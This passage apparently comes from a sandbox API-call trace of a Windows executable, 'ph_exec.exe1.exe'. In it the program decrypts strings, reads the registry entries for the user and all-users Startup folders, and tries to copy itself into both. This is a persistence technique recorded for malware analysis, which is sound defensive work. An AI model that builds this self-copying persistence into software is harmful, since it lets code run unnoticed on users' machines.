dwFlags=0x0, lpMem=0x23a4f30 | out: hHeap=0x23a0000) returned 1 [0146.774] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x23a4ee0, nSize=0xf | out: lpDst="") returned 0x1e [0146.775] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4f08 | out: hHeap=0x23a0000) returned 1 [0146.775] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a4ee0, Size=0x3a) returned 0x23a4ee0 [0146.775] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x3a) returned 0x23a4f28 [0146.775] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a1270 [0146.775] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcdc | out: phKey=0x55fcdc*=0x8367a0) returned 1 [0146.775] CryptSetKeyParam (hKey=0x8367a0, dwParam=0x1, pbData=0x55fcc4, dwFlags=0x0) returned 1 [0146.775] CryptDecrypt (in: hKey=0x8367a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1270, pdwDataLen=0x55fc90 | out: pbData=0x23a1270, pdwDataLen=0x55fc90) returned 1 [0146.775] CryptDestroyKey (hKey=0x8367a0) returned 1 [0146.775] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1270 | out: hHeap=0x23a0000) returned 1 [0146.775] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x23a4ee0, nSize=0x1d | out: lpDst="") returned 0x1e [0146.775] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4f28 | out: hHeap=0x23a0000) returned 1 [0146.775] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a4ee0, Size=0x72) returned 0x23a4ee0 [0146.775] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x72) returned 0x23a4f60 [0146.775] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a1270 [0146.775] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcdc | out: phKey=0x55fcdc*=0x836c60) returned 1 [0146.775] CryptSetKeyParam (hKey=0x836c60, dwParam=0x1, pbData=0x55fcc4, dwFlags=0x0) returned 1 [0146.775] CryptDecrypt (in: hKey=0x836c60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1270, pdwDataLen=0x55fc90 | out: pbData=0x23a1270, pdwDataLen=0x55fc90) returned 1 [0146.775] CryptDestroyKey (hKey=0x836c60) returned 1 [0146.775] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1270 | out: hHeap=0x23a0000) returned 1 [0146.775] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x23a4ee0, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0146.775] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4f60 | out: hHeap=0x23a0000) returned 1 [0146.775] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb8 | out: hHeap=0x23a0000) returned 1 [0146.775] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4f60 [0146.775] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd04 | out: phKey=0x55fd04*=0x836820) returned 1 [0146.775] CryptSetKeyParam (hKey=0x836820, dwParam=0x1, pbData=0x55fcec, dwFlags=0x0) returned 1 [0146.775] CryptDecrypt (in: hKey=0x836820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4f60, pdwDataLen=0x55fcb8 | out: pbData=0x23a4f60, pdwDataLen=0x55fcb8) returned 1 [0146.775] CryptDestroyKey (hKey=0x836820) returned 1 [0146.775] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x3e) returned 0x23a1270 [0146.775] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x3e) returned 0x23a12b8 [0146.775] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a1300 [0146.775] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcdc | out: phKey=0x55fcdc*=0x836ba0) returned 1 [0146.775] CryptSetKeyParam (hKey=0x836ba0, dwParam=0x1, pbData=0x55fcc4, dwFlags=0x0) returned 1 [0146.775] CryptDecrypt (in: hKey=0x836ba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1300, pdwDataLen=0x55fc90 | out: pbData=0x23a1300, pdwDataLen=0x55fc90) returned 1 [0146.775] CryptDestroyKey (hKey=0x836ba0) returned 1 [0146.775] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x10) returned 0x23a4eb8 [0146.776] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x55fc58 | out: phkResult=0x55fc58*=0x490) returned 0x0 [0146.776] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x55fc54, lpData=0x23a12b8, lpcbData=0x55fc5c*=0x3e | out: lpType=0x55fc54*=0x2, lpData=0x23a12b8*=0xc0, lpcbData=0x55fc5c*=0x98) returned 0xea [0146.776] RegCloseKey (hKey=0x490) returned 0x0 [0146.776] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb8 | out: hHeap=0x23a0000) returned 1 [0146.776] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1300 | out: hHeap=0x23a0000) returned 1 [0146.776] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12b8 | out: hHeap=0x23a0000) returned 1 [0146.776] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a1270, Size=0x7a) returned 0x23a1270 [0146.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x7a) returned 0x23a12f8 [0146.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a1380 [0146.776] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcd8 | out: phKey=0x55fcd8*=0x836a20) returned 1 [0146.776] CryptSetKeyParam (hKey=0x836a20, dwParam=0x1, pbData=0x55fcc0, dwFlags=0x0) returned 1 [0146.776] CryptDecrypt (in: hKey=0x836a20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1380, pdwDataLen=0x55fc8c | out: pbData=0x23a1380, pdwDataLen=0x55fc8c) returned 1 [0146.776] CryptDestroyKey (hKey=0x836a20) returned 1 [0146.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x10) returned 0x23a4eb8 [0146.776] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x55fc54 | out: phkResult=0x55fc54*=0x490) returned 0x0 [0146.776] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x55fc50, lpData=0x23a12f8, lpcbData=0x55fc58*=0x7a | out: lpType=0x55fc50*=0x2, lpData=0x23a12f8*=0xc0, lpcbData=0x55fc58*=0x98) returned 0xea [0146.776] RegCloseKey (hKey=0x490) returned 0x0 [0146.776] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb8 | out: hHeap=0x23a0000) returned 1 [0146.776] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1380 | out: hHeap=0x23a0000) returned 1 [0146.776] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12f8 | out: hHeap=0x23a0000) returned 1 [0146.776] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a1270, Size=0xf2) returned 0x23a1270 [0146.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0xf2) returned 0x23a1370 [0146.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a1470 [0146.776] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcd8 | out: phKey=0x55fcd8*=0x8368e0) returned 1 [0146.776] CryptSetKeyParam (hKey=0x8368e0, dwParam=0x1, pbData=0x55fcc0, dwFlags=0x0) returned 1 [0146.776] CryptDecrypt (in: hKey=0x8368e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1470, pdwDataLen=0x55fc8c | out: pbData=0x23a1470, pdwDataLen=0x55fc8c) returned 1 [0146.776] CryptDestroyKey (hKey=0x8368e0) returned 1 [0146.776] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x10) returned 0x23a4eb8 [0146.776] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x55fc54 | out: phkResult=0x55fc54*=0x490) returned 0x0 [0146.777] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x55fc50, lpData=0x23a1370, lpcbData=0x55fc58*=0xf2 | out: lpType=0x55fc50*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x55fc58*=0x98) returned 0x0 [0146.777] RegCloseKey (hKey=0x490) returned 0x0 [0146.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb8 | out: hHeap=0x23a0000) returned 1 [0146.777] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4eb8 [0146.777] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x55fc54 | out: phkResult=0x55fc54*=0x490) returned 0x0 [0146.777] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x55fc50, lpData=0x23a1408, lpcbData=0x55fc58*=0x5a | out: lpType=0x55fc50*=0x0, lpData=0x23a1408*=0x73, lpcbData=0x55fc58*=0x5a) returned 0x2 [0146.777] RegCloseKey (hKey=0x490) returned 0x0 [0146.777] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x55fc68 | out: phkResult=0x55fc68*=0x490) returned 0x0 [0146.777] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x55fc64, lpData=0x23a1408, lpcbData=0x55fc6c*=0x5a | out: lpType=0x55fc64*=0x2, lpData=0x23a1408*=0x73, lpcbData=0x55fc6c*=0x78) returned 0xea [0146.777] RegCloseKey (hKey=0x490) returned 0x0 [0146.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb8 | out: hHeap=0x23a0000) returned 1 [0146.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1470 | out: hHeap=0x23a0000) returned 1 [0146.777] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1370 | out: hHeap=0x23a0000) returned 1 [0146.777] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a1270, Size=0x1e2) returned 0x23a1270 [0146.777] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e2) returned 0x23a4fa8 [0146.802] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a1460 [0146.802] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcd8 | out: phKey=0x55fcd8*=0x8369a0) returned 1 [0146.802] CryptSetKeyParam (hKey=0x8369a0, dwParam=0x1, pbData=0x55fcc0, dwFlags=0x0) returned 1 [0146.802] CryptDecrypt (in: hKey=0x8369a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1460, pdwDataLen=0x55fc8c | out: pbData=0x23a1460, pdwDataLen=0x55fc8c) returned 1 [0146.802] CryptDestroyKey (hKey=0x8369a0) returned 1 [0146.802] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x10) returned 0x23a4eb8 [0146.802] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x55fc54 | out: phkResult=0x55fc54*=0x490) returned 0x0 [0146.803] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x55fc50, lpData=0x23a4fa8, lpcbData=0x55fc58*=0x1e2 | out: lpType=0x55fc50*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x55fc58*=0x98) returned 0x0 [0146.803] RegCloseKey (hKey=0x490) returned 0x0 [0146.803] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb8 | out: hHeap=0x23a0000) returned 1 [0146.803] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4eb8 [0146.803] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x55fc54 | out: phkResult=0x55fc54*=0x490) returned 0x0 [0146.803] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x55fc50, lpData=0x23a5040, lpcbData=0x55fc58*=0x14a | out: lpType=0x55fc50*=0x0, lpData=0x23a5040*=0x0, lpcbData=0x55fc58*=0x14a) returned 0x2 [0146.803] RegCloseKey (hKey=0x490) returned 0x0 [0146.803] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x55fc68 | out: phkResult=0x55fc68*=0x490) returned 0x0 [0146.803] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x55fc64, lpData=0x23a5040, lpcbData=0x55fc6c*=0x14a | out: lpType=0x55fc64*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x55fc6c*=0x78) returned 0x0 [0146.803] RegCloseKey (hKey=0x490) returned 0x0 [0146.803] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb8 | out: hHeap=0x23a0000) returned 1 [0146.803] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1460 | out: hHeap=0x23a0000) returned 1 [0146.803] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x23a1270, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0146.803] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4fa8 | out: hHeap=0x23a0000) returned 1 [0146.803] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4f60 | out: hHeap=0x23a0000) returned 1 [0146.803] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23a4f60 [0146.803] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23a5178 [0146.803] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23a5390 [0146.803] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23a55a8 [0146.803] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23a4f60, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0146.804] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23a57c0 [0146.804] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23a57c0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0146.804] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a57c0 | out: hHeap=0x23a0000) returned 1 [0146.804] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23a57c0 [0146.804] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23a57c0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0146.804] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a57c0 | out: hHeap=0x23a0000) returned 1 [0146.804] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), bFailIfExists=0) returned 0 [0146.808] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x118) returned 0x23a57c0 [0146.808] GetLastError () returned 0x20 [0146.808] SetLastError (dwErrCode=0x20) [0146.808] GetLastError () returned 0x20 [0146.808] SetLastError (dwErrCode=0x20) [0146.808] GetLastError () returned 0x20 [0146.808] SetLastError (dwErrCode=0x20) [0146.808] GetLastError () returned 0x20 [0146.808] SetLastError (dwErrCode=0x20) [0146.808] GetLastError () returned 0x20 [0146.808] SetLastError (dwErrCode=0x20) [0146.808] GetLastError () returned 0x20 [0146.808] SetLastError (dwErrCode=0x20) [0146.808] GetLastError () returned 0x20 [0146.808] SetLastError (dwErrCode=0x20) [0146.808] GetLastError () returned 0x20 [0146.809] SetLastError (dwErrCode=0x20) [0146.809] GetLastError () returned 0x20 [0146.809] SetLastError (dwErrCode=0x20) [0146.809] GetLastError () returned 0x20 [0146.809] SetLastError (dwErrCode=0x20) [0146.809] GetLastError () returned 0x20 [0146.809] SetLastError (dwErrCode=0x20) [0146.809] GetLastError () returned 0x20 [0146.809] SetLastError (dwErrCode=0x20) [0146.809] GetLastError () returned 0x20 [0146.809] SetLastError (dwErrCode=0x20) [0146.809] GetLastError () returned 0x20 [0146.809] SetLastError (dwErrCode=0x20) [0146.809] GetLastError () returned 0x20 [0146.809] SetLastError (dwErrCode=0x20) [0146.809] GetLastError () returned 0x20 [0146.809] SetLastError (dwErrCode=0x20) [0146.809] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.810] SetLastError (dwErrCode=0x20) [0146.810] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.811] SetLastError (dwErrCode=0x20) [0146.811] GetLastError () returned 0x20 [0146.812] SetLastError (dwErrCode=0x20) [0146.812] GetLastError () returned 0x20 [0146.812] SetLastError (dwErrCode=0x20) [0146.812] GetLastError () returned 0x20 [0146.812] SetLastError (dwErrCode=0x20) [0146.812] GetLastError () returned 0x20 [0146.812] SetLastError (dwErrCode=0x20) [0146.812] GetLastError () returned 0x20 [0146.813] SetLastError (dwErrCode=0x20) [0146.813] GetLastError () returned 0x20 [0146.813] SetLastError (dwErrCode=0x20) [0146.813] GetLastError () returned 0x20 [0146.813] SetLastError (dwErrCode=0x20) [0146.813] GetLastError () returned 0x20 [0146.813] SetLastError (dwErrCode=0x20) [0146.813] GetLastError () returned 0x20 [0146.813] SetLastError (dwErrCode=0x20) [0146.813] GetLastError () returned 0x20 [0146.813] SetLastError (dwErrCode=0x20) [0146.813] GetLastError () returned 0x20 [0146.813] SetLastError (dwErrCode=0x20) [0146.813] GetLastError () returned 0x20 [0146.813] SetLastError (dwErrCode=0x20) [0146.813] GetLastError () returned 0x20 [0146.813] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.814] SetLastError (dwErrCode=0x20) [0146.814] GetLastError () returned 0x20 [0146.815] SetLastError (dwErrCode=0x20) [0146.815] GetLastError () returned 0x20 [0146.815] SetLastError (dwErrCode=0x20) [0146.815] GetLastError () returned 0x20 [0146.815] SetLastError (dwErrCode=0x20) [0146.815] GetLastError () returned 0x20 [0146.815] SetLastError (dwErrCode=0x20) [0146.815] GetLastError () returned 0x20 [0146.815] SetLastError (dwErrCode=0x20) [0146.815] GetLastError () returned 0x20 [0146.815] SetLastError (dwErrCode=0x20) [0146.815] GetLastError () returned 0x20 [0146.815] SetLastError (dwErrCode=0x20) [0146.815] GetLastError () returned 0x20 [0146.815] SetLastError (dwErrCode=0x20) [0146.815] GetLastError () returned 0x20 [0146.816] SetLastError (dwErrCode=0x20) [0146.816] GetLastError () returned 0x20 [0146.816] SetLastError (dwErrCode=0x20) [0146.816] GetLastError () returned 0x20 [0146.816] SetLastError (dwErrCode=0x20) [0146.816] GetLastError () returned 0x20 [0146.816] SetLastError (dwErrCode=0x20) [0146.816] GetLastError () returned 0x20 [0146.816] SetLastError (dwErrCode=0x20) [0146.816] GetLastError () returned 0x20 [0146.816] SetLastError (dwErrCode=0x20) [0146.816] GetLastError () returned 0x20 [0146.816] SetLastError (dwErrCode=0x20) [0146.816] GetLastError () returned 0x20 [0146.821] SetLastError (dwErrCode=0x20) [0146.821] GetLastError () returned 0x20 [0146.822] SetLastError (dwErrCode=0x20) [0146.822] GetLastError () returned 0x20 [0146.823] SetLastError (dwErrCode=0x20) [0146.823] GetLastError () returned 0x20 [0146.823] SetLastError (dwErrCode=0x20) [0146.823] GetLastError () returned 0x20 [0146.823] SetLastError (dwErrCode=0x20) [0146.823] GetLastError () returned 0x20 [0146.823] SetLastError (dwErrCode=0x20) [0146.823] GetLastError () returned 0x20 [0146.823] SetLastError (dwErrCode=0x20) [0146.823] GetLastError () returned 0x20 [0146.823] SetLastError (dwErrCode=0x20) [0146.823] GetLastError () returned 0x20 [0146.823] SetLastError (dwErrCode=0x20) [0146.823] GetLastError () returned 0x20 [0146.823] SetLastError (dwErrCode=0x20) [0146.823] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.824] SetLastError (dwErrCode=0x20) [0146.824] GetLastError () returned 0x20 [0146.825] SetLastError (dwErrCode=0x20) [0146.825] GetLastError () returned 0x20 [0146.826] SetLastError (dwErrCode=0x20) [0146.826] GetLastError () returned 0x20 [0146.826] SetLastError (dwErrCode=0x20) [0146.826] GetLastError () returned 0x20 [0146.826] SetLastError (dwErrCode=0x20) [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.826] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.827] GetLastError () returned 0x20 [0146.828] GetLastError () returned 0x20 [0146.828] GetLastError () returned 0x20 [0146.828] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe"), bFailIfExists=1) returned 0 [0146.829] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe"), bFailIfExists=1) returned 0 [0146.829] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a57c0 | out: hHeap=0x23a0000) returned 1 [0146.829] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4f60 | out: hHeap=0x23a0000) returned 1 [0146.829] HeapFree (in: 